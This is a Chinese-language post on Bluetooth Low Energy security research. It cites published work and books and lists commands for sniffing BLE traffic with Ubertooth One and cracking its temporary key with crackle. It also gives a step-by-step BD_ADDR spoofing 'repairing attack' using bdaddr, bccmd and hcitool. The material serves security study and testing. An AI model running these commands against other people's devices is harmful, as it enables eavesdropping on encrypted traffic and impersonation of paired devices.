攻击确实有效。我一直在使用五年前在 DEF CON 上获得的 Ubertooth One,并针对各种实现 BLE 标准的物联网设备对其进行了测试。Mike Ryan 的论文是正确的。
在《滥用物联网》一书中,作者讨论了 Mike Ryan 的工作以及 Ubertooth One 的实施。
ubertooth-btle -f -c ble.pcap
作者还讨论了使用 LightBlue iOS 应用程序进行进一步故障排除,因为它可以复制蓝牙设备并模拟它们。BLE 需要一些工作,因为它使用许多通道,因此强烈建议在网络捕获评估期间打开和关闭接口。
标准 BLE 加密数据通过选择基于 AES 的临时密钥 (TK) 使用密钥交换协议。Mike Ryan 发布了crackle工具来暴力破解这个键。
crackle -i ble.pcap -o decrypted-ble.pcap
这种技术对 OOB(也由 BLE 定义的 128 位可选密钥)模式无效,但是,正如ubertooth 邮件列表中所见,开发团队正在努力收集样本并排除破坏 OOB 模式的可能性。
一个关于支付技术和相关基础设施的知名博客也一直在猜测蓝牙安全性的消亡,包括一些关于打破 BLE OOB 模式的评论。2015 年 12 月 29 日更新:关于 BT 2.1 的讨论更多。还遇到了 btproxy,它有望很快支持 BTLE。我遇到的另一个教程是使用 UbertoothOne 嗅探和破解蓝牙。
然而,(如在《Hacking Exposed Wireless,第 3 版》一书中所见)修复蓝牙的想法首先在 Yaniv Shaked 和 Avishai Wool 的论文“Cracking the Bluetooth PIN”中公开(http://www.eng. tau.ac.il/~yash/shaked-wool-mobisys05)。攻击者可以通过冒充两个设备之一的 BD_ADDR 来使用“修复攻击”来操纵两个设备之间存储的配对状态。
工具bdaddr是该技术的主要实现。
gcc -obdaddr -lbluetooth bdaddr.c
hciconfig hci0
sudo bdaddr -i hci0 <new bdaddr>
(asks to reset device now)
sudo bccmd -d hci0 warmreset
(check that it changed)
hciconfig hci0
sudo hcitool cc <bdaddr of target to repair to>
sudo hcitool enc <bdaddr target again> enable
回到一个干净的状态
sudo bccmd -d hci0 coldreset
hciconfig hci0